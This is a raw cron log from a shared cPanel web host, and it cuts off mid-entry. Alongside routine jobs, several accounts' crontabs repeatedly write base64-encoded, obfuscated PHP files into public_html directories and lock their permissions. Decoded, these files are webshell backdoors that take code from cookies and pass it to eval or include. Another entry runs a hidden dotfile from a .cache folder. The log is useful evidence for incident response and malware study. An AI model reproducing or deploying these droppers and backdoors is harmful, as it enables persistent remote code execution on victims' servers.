Mar  2 04:02:01 medusa CROND[29929]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 04:02:01 medusa CROND[29935]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_panel-detect.cronlock /usr/bin/package_reinstaller.py check)
Mar  2 04:02:01 medusa CROND[29937]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  2 04:02:01 medusa CROND[29939]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  2 04:02:01 medusa CROND[29944]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  2 04:02:01 medusa CROND[29946]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  2 04:02:01 medusa CROND[29955]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 04:02:01 medusa CROND[29956]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 04:02:01 medusa CROND[29957]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  2 04:02:01 medusa CROND[29962]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 04:02:01 medusa CROND[29964]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  2 04:02:01 medusa CROND[29966]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Mar  2 04:03:01 medusa CROND[15579]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  2 04:03:02 medusa CROND[15750]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_processpaneluser.cronlock /usr/sbin/processpaneluserspackages)
Mar  2 04:03:02 medusa CROND[15751]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  2 04:03:02 medusa CROND[15752]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  2 04:03:02 medusa CROND[15753]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 04:03:02 medusa CROND[15755]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  2 04:03:02 medusa CROND[15756]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  2 04:03:02 medusa CROND[15761]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  2 04:03:02 medusa CROND[15760]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 04:03:02 medusa CROND[15762]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 04:03:02 medusa CROND[15763]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  2 04:03:02 medusa CROND[15765]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 04:04:01 medusa CROND[405]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  2 04:04:01 medusa CROND[425]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  2 04:04:01 medusa CROND[426]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 04:04:01 medusa CROND[427]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZ